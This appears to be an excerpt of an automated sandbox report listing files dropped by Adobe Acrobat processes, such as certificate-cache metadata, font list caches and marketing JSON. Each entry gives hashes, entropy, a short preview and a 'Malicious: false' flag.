Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklg6VHKNl/tfllXlE/HT8kp5lrtNNX8RolJuRdxLlGB9lQRYwpDdt:kK5YqNl/eT8g5pNMa8RdWBwRd
MD5:	BAE70AF74F54A1967A688D6C8E994C88
SHA1:	7AD23ABBE3206EFC5C48B2AA44814F4090B347C8
SHA-256:	BDDE6352A9F950000D0D3A4BE12AB32339C85F986B10CFE1154A22D74870A578
SHA-512:	F2E242E9B385793D8FDC27A1802DA86915ADF6F1E45B6141F17A49986C81071BBD0D8B7A03BD6E3F0EA49B5C21F210020836C47EC3C7DCD437FE95B777B87727
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKCmbPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:qmbPiDnLNkPlE99SNxAhUe/3
MD5:	929D29B694B3FF08EE70975FD6032B8E
SHA1:	C6E4FEF0742D0432CD7AC8D849E8F9BFC1C11558
SHA-256:	45CE6D33CB65CEC110B7F2D3BB858F6E93F9D146D5B8CFDB12000F8CC62BF0CF
SHA-512:	A5A02B467DDA301137844F132E96CD7110FC08CADD74BE2236785A0AFC6DD204E916EA985FA8612F7C4AEAC79DF4672BB8EE17339D63C6154B5A6BFEA1663A50
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7948

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347410100662115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJM3g98kUwPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGMbLUkee9
MD5:	6FA4C3C283602BA0D9EE33FCDFBFED58
SHA1:	DCFCCC263FFA4AA3D9384BEE729EA066A69F255C
SHA-256:	B35FCE87386BCB1B5F24BD3BD59C706C9F6B8E855DE690FC25723A3DD4303869
SHA-512:	110F6D24C47147D5C4DDF12548A0D700A2ADEC27D1A4047F3EFC8A115F820F8F645268226D9B0D57EE3B1BA9F0CDAFB79C8119CA8699520C5090EA23A2E74374
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28132665644283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfBoTfXpnrPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGWTfXcUkee9
MD5:	6A755AACD3BA306E67F324C6AA249C08
SHA1:	1738DA76592E34251342DCF70F6A5613A15C2E32
SHA-256:	31C1EBB44A5B22EBCA98F6032507B9CD1DE873D7428DF7E31BB17608F3935B44
SHA-512:	18335B78DBE2E4343FB6CFA617F47DF797581BC6781641A63D92DE17B7DF59B1CFBB7AF40D723B84C5842395D642021653C4DE39509D74135EF582090E9022E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.260594450357499
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfBD2G6UpnrPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGR22cUkee9
MD5:	618BBB8F08EA83C487707942F99A582A
SHA1:	DE6BD6899A6FDE6415BF0A6B17C4F619DFEBF8E9
SHA-256:	8E34FB7A335F3EF1C69E38768D1FB77B2F7276FAEF085F4D9099B9BACC8053DB
SHA-512:	65B19404FA63ABDD7CE80DF666007DF9CAFA46CA55314944BE5AB6DCD37A307F16A7BF11695A356DDC0993FA3E6746E80EC1606F1D44DDE52E34B6D2E8D70EB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32379888279846
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfPmwrPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGH56Ukee9
MD5:	F3CDFC683DE28930B46216D293696CD5
SHA1:	510E1CB91982A68A275804BA0ABE9D6E0861FE7D
SHA-256:	3BE918601B62A5A253A1468CEB9E8F54AF7AF6F3331A4AA9F6A99CA9B32CD470
SHA-512:	BBC1129C62328897D05EAF01B96B24C70EB348FCFD040EA92A41728491F6FE94855736F39869805C79B1A7029642044A0572B2028D9589005638B4AEF44820D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6926267059298805
Encrypted:	false
SSDEEP:	24:Yv6XhfH2Jh7dtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSS:YvxJhZthgy6SAFv5Ah8cv/S
MD5:	392A8CF42F220F98E4294F3815C4825C
SHA1:	661384559558645CA06A1D0260B530921669CCEF
SHA-256:	BF666D7B30CE9A26A51EEF935A97F5CD1E7036D66CCFA28C5C8EA99D3C0DE6EE
SHA-512:	77D989BF16CD0CB36BFDB4C36162B62646CA90FFF32CAD757FDDC6CFD4C05C685026F478CECA2C512C9ED2A67777E41B7E57BF8916B5B8E638ADB0B2CBE95467
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273522351831527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJf8dPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGU8Ukee9
MD5:	148591A3BCC74C69BF39A8E2FD9EBA4F
SHA1:	7426D9DD851C75359A300A870D0B22310BFFFD26
SHA-256:	F001698A046C741B8146B0FCA0ED44C1696CCF078DB617C9E5420DE127F6A288
SHA-512:	70A788D31A18DD5C39B4BAEC7B93EBF076957011D4EEF64F65AF6925A82DC4505359EE950A6F602BFFDE9D11C632FD6C0E79ADC56EE1EA4F8DBB709B189FE73B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.271269299748237
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfQ1rPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGY16Ukee9
MD5:	74115809102AC1B394441ABF75B5F799
SHA1:	9956AB638638518738CFFDE46560DAB18F738B0C
SHA-256:	6C150629205E503489E6F58B4306FD9474AC71EEA398A912EA64DEFD82593FF3
SHA-512:	0087C2A8C81AB3A9B0C9FBA7100C661B91DA6DAD21CFEDC53490652AD6C85046842241454AC9C8D59D090F2D2D3DAB7C7A7292419AE4F43A660CFE876F2D59A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288495060175984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfFldPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGz8Ukee9
MD5:	877A24559C63EC899345C12A5CD524F1
SHA1:	E595A8E05B1DD3C013E966F15E1ECA7AE028BB99
SHA-256:	C141B22AC6BB30B030ABE3B8D40692CA83FB0B3CBCCC5A160EFA6B22705678EF
SHA-512:	3D001A3A856E508E94AEB3FFACF07D51849A8446AF58E68291FB87F2D7A71C1E785EA6DED3931D2DE1F35882C4B5F593E29EAE88D3E00744150E39722AFD2AE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.301912528919282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfzdPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGb8Ukee9
MD5:	39E3DF5D1D7C01BD5D2D9C615625CA2F
SHA1:	AF56907F3680661E363A92B81A769DC8FDE8999F
SHA-256:	1B300D000C31AEF327FCC94D084A1843DF91231C656F5276FC0A9ABA19D52399
SHA-512:	BD0A8EC3349BC5415A701B3D5F4C071EF49FFAFB2DFF295DD35E554369E6AB597B5D3A6BFC6511C996F6FB2AD3D0BFA6117D8DAB9A4DD4168163526DAEBC38EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.281587942243732
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJfYdPeUkwRe9:YvXKXhfH2vR/ZwHAPdwGg8Ukee9
MD5:	9C499370EFDF1F1E5C84D327A156F0FE
SHA1:	73BC120291C9E2076F1E8E79B6F047754447FED3
SHA-256:	92DF439B15B4EB8F6BE0AFE97A58241D4CA15E7B552F60BF84F1E01AACCC6451
SHA-512:	17A262E4CCBEFC8224CEFFE5CAEB9B3166520C3332582C7FCD8E24A0BB065FEC6EEC16DBC4B528891B7DC954A8968F16C2D3605A13EDF87E5AFD87BBDC96B9CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.267895512740653
Encrypted:	false
SSDEEP:	6:YEQXJ2HXEIg2ZpH2vB3/dVlPIHAR0YccdPoAvJf+dPeUkwRe9:YvXKXhfH2vR/ZwHAPdwG28Ukee9
MD5:	7C7C477733AFCF6C4A8FBF71BA96E3AD
SHA1:	467BEB9DCEDC5F63DE7A00020016C3CA12DF6952
SHA-256:	4F3B9C407BB04925FF2BEDF8674117F36D02B00BA245D8D51ADAE033347E8090
SHA-512:	6FA167F13A1FB820CDE0D6B899DA22ABA688CD7472BB51D738FB56253D9ABB3A48BEDE770E34FBB04C9AC10CB16702DB6E2F6EAB08018E887CC824F33E7BA2BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5d0b6e18-7fee-46f3-b7b6-73724366c3f6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736720042581,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
